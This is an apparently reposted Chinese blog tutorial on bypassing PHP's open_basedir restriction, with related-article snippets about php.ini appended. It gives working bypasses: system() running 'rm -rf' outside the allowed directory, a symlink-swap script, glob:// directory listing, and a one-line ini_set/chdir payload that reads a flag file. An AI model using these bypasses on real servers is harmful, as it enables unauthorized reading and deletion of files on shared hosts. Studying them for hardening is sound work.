php绕过open_basedir设置

原理
关于open_basedir
    open_basedir是php.ini中的一个配置选项
    它可将用户访问文件的活动范围限制在指定的区域,
    假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
    注意用open_basedir指定的限制实际上是前缀,而不是目录名。
    举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
补充:
    ①如果php.ini配置项前有分号,表明php.ini中没有该设置。那就很可能是在  php-fpm  中的 fastcgi.conf中配置了。php-fpm中的配置会覆盖php.ini的配置。
    ②在php.ini或者fastcgi.cong中设置,都是针对所有项目。如果想要对单独项目进行设置的话,在项目根目录中通过  .user.ini 进行配置。
    .user.ini配置
    首先,要使.user.ini生效,要设置php.ini 中的
        user_ini.filename = ".user.ini"
        user_ini.cache_ttl = 300
    注释掉 fastcgi.conf 中的 open_basedir  的配置。
    在项目根目录 创建 .user.ini文件,写入如下内容
         open_basedir=/tmp/:/proc/:/you_web_path
    重启一下php-fpm 服务即可。
关于符号链接
    符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。
    路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。

0x01 绕过方式1system命令执行函数
由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数来访问限制目录。
我们首先创建一个目录
    /home/puret/test/
且在该目录下新建一个1.txt 内容为abc
    nano 1.txt
再在该目录下创建一个目录命名为b
    mkdir b
并且在该目录下创建一个1.php文件内容为
    <?php
      echo file_get_contents("../1.txt");
    ?>
且在php.ini中设置好我们的open_basedir
    open_basedir = /home/puret/test/b/
我们尝试执行1.php看看open_basedir是否会限制我们的访问
执行效果如图
很明显我们无法直接读取open_basedir所规定以外的目录文件。
接下来我们用system函数尝试绕open_basedir的限制来删除1.txt
编辑1.php为
    <?php
     system("rm -rf ../1.txt");
    ?>
先来看看执行1.php之前的文件情况
执行1.php之后
成功通过命令执行函数绕过open_basedir来删除文件。
由于命令执行函数一般都会被限制在disable_function当中,所以我们需要寻找其他的途径来绕过限制。

0x02 绕过方式2symlink()函数
我们先来了解一下symlink函数
    bool symlink ( string $target , string $link )
symlink函数将建立一个指向target的名为link的符号链接,当然一般情况下这个target是受限于open_basedir的。
由于早期的symlink不支持windows,我的测试环境就放在Linux下了。
测试的PHP版本是5.3.0,其他的版本大家自测吧。
在Linux环境下我们可以通过symlink完成一些逻辑上的绕过导致可以跨目录操作文件。
我们首先在/var/www/html/1.php中 编辑1.php的内容为
    <?php
      mkdir("c");   //创建目录
      chdir("c");     //改变目录
      mkdir("d");
      chdir("d");
      chdir("..");  
      chdir("..");
      symlink("c/d","tmplink");
      symlink("tmplink/../../1.txt","exploit");
      unlink("tmplink");
      mkdir("tmplink");
      echo file_put_contents("http://127.0.0.1/exploit");
    ?>
接着在/var/www/中新建一个1.txt文件内容为
    "abc"
再来设置一下我们的open_basedir
    open_basedir = /var/www/html/
在html目录下编辑一个php脚本检验一下open_basedir
    <?php
       file_get_contents("../1.txt");
    ?>
执行看下。
意料之中,文件无法访问。
我们执行刚才写好的脚本,1.php
可以看到成功读取到了1.txt的文件内容,逃脱了open_basedir的限制
问题的关键就在于
    symlink("tmplink/../../1.txt","exploit");
此时tmplink还是一个符号链接文件,它指向的路径是c/d,因此exploit指向的路径就变成了
    c/d/../../1.txt
由于这个路径在open_basedir的范围之内所以exploit成功建立了。
之后我们删除tmplink符号链接文件再新建一个同名为tmplink的文件夹,这时exploit所指向的路径为
    tmplink/../../
由于这时候tmplink变成了一个真实存在的文件夹所以tmplink/../../变成了1.txt所在的目录即/var/www/
然后再通过访问符号链接文件exploit即可直接读取到1.txt的文件内容
当然,针对symlink()只需要将它放入disable_function即可解决问题,所以我们需要寻求更多的方法。

0x03 绕过方式3glob伪协议
glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test
并且在/var/www/html/下新建t.php内容为
    <?php
      $a = "glob:///var/www/test/*.txt";
      if ( $b = opendir($a) ) {
        while ( ($file = readdir($b)) !== false ) {
          echo "filename:".$file."\n";
        }
        closedir($b);
      }
    ?>
执行结果如图:
成功躲过open_basedir的限制读取到了文件。

0x04 绕过方式4根据源码逻辑
博客https://xz.aliyun.com/t/4720
Payload:
chdir(‘img‘);ini_set(‘open_basedir‘,‘..‘);chdir(‘..‘);chdir(‘..‘);chdir(‘..‘);chdir(‘..‘);ini_set(‘open_basedir‘,‘/‘);echo(file_get_contents(‘flag‘));

原文地址:https://www.cnblogs.com/cimuhuashuimu/p/11544487.html

时间: 2024-11-08 22:38:35

php绕过open_basedir设置的相关文章

php5全版本绕过open_basedir读文件脚本

这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目.所以也没拿到JAE.SAE测试一下. 不说了..进入正题. 漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在.我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以. 他在评论里发过了:http://zone.wooyun.org/content/17131,漏洞详情在这里http://

PHP 配置文件中open_basedir选项作用

如下是php.ini中的原文说明以及默认配置: ; open_basedir, if set, limits all file operations to the defined directory ; and below. This directive makes most sense if used in a per-directory or ; per-virtualhost web server configuration file. This directive is ; *NOT*

Nginx下开启php-fpm的错误提示--open_basedir restriction in effect的错误解决方法

默认在nginx下不显示php的错误提示,开启方法: php.ini    display_errors = On php-fpm.confphp_flag[display_errors] = on realpath(): open_basedir restriction in effect (xxx) is not within the allowed path 的错误解决办法 检查下php.ini中的 open_basedir 设置,把网站所在的目录加上,或直接禁用这个参数

require(): open_basedir restriction in effect. 解决方法

在linux服务器部署thinkphp5的时候PHP报了这个错误, 如下: Warning: require(): open_basedir restriction in effect. File(/www/wwwroot/zhuyuyun/thinkphp/start.php) is not within the allowed path(s): (/www/wwwroot/zhuyuyun/public/:/tmp/:/proc/) in /www/wwwroot/zhuyuyun/publ

open_basedir restriction in effect,解决php引入文件权限问题 解决方法

如下: Warning: require(): open_basedir restriction in effect. File(/www/wwwroot/zhuyuyun/thinkphp/start.php) is not within the allowed path(s): (/www/wwwroot/zhuyuyun/public/:/tmp/:/proc/) in /www/wwwroot/zhuyuyun/public/index.php on line 20 Warning: r

php.ini配置文件

php.ini配置文件: engine=On;使PHP脚本语言引擎在Apache下有效.当设置engine=Off后不能解析PHP文件. short_open_tag=Off;设置<? code ?>标志是否能被识别.设置short_open_tag=Off后不能识别在<? code ?>中的代码 . asp_tags = Off:设置<% code %>标志是否能被识别.设置asp_tags==Off;后不能识别. precision = 14:设置浮点类型数据显示位

PHP-php.ini中文版

今天细看了下配置文件 有很多没用过的 就从网上搜了一篇 常看看 ;;;;;;;;;;;;;;;; 简介 ;;;;;;;;;;;;;;;;; 本文并非是对英文版 php.ini 的简单翻译,而是参考了众多资料以后,结合自己的理解,增加了许多内容,; 包括在原有 php.ini 基础上增加了一些实用模块的配置说明,同时对文件内容的安排进行了调整.; 由于作者不喜欢 no-free 的玩意儿,所以删除了除 MySQL 和 PostgreSQL 以外的其他数据库模块配置选项. ;;;;;;;;;;;;;

lnmp虚拟机安全配置研究

转自:http://www.leavesongs.com/PENETRATION/nginx-safe-dir.html 众所周知,虚拟主机的安全不好做,特别是防止跨站成为了重点.apache+php服务器防止跨站的方式比较简单,网上的所有成熟虚拟主机解决方案都是基于apache的,如directadmin.cpanel. 但如今已然不是apache的时代了,在linux+nginx+mysql+php下怎么防止不同虚拟主机进行跨站? 首先我们要清楚明白Nginx是怎么运行的,再考虑怎么具体操作

PHP开发安全问题总结

当开发一个互联网服务的时候,必须时刻牢记安全观念,并在开发的代码中体现.PHP脚本语言对安全问题并不关心,特别是对大多数没有经验的开发者来说.每当你讲任何涉及到钱财事务等交易问题时,需要特别注意安全问题的考虑,例如开发一个论坛或者是一个购物车等. 安全保护一般性要点不相信表单对于一般的Javascript前台验证,由于无法得知用户的行为,例如关闭了浏览器的javascript引擎,这样通过POST恶意数据到服务器.需要在服务器端进行验证,对每个php脚本验证传递到的数据,防止XSS攻击和SQL注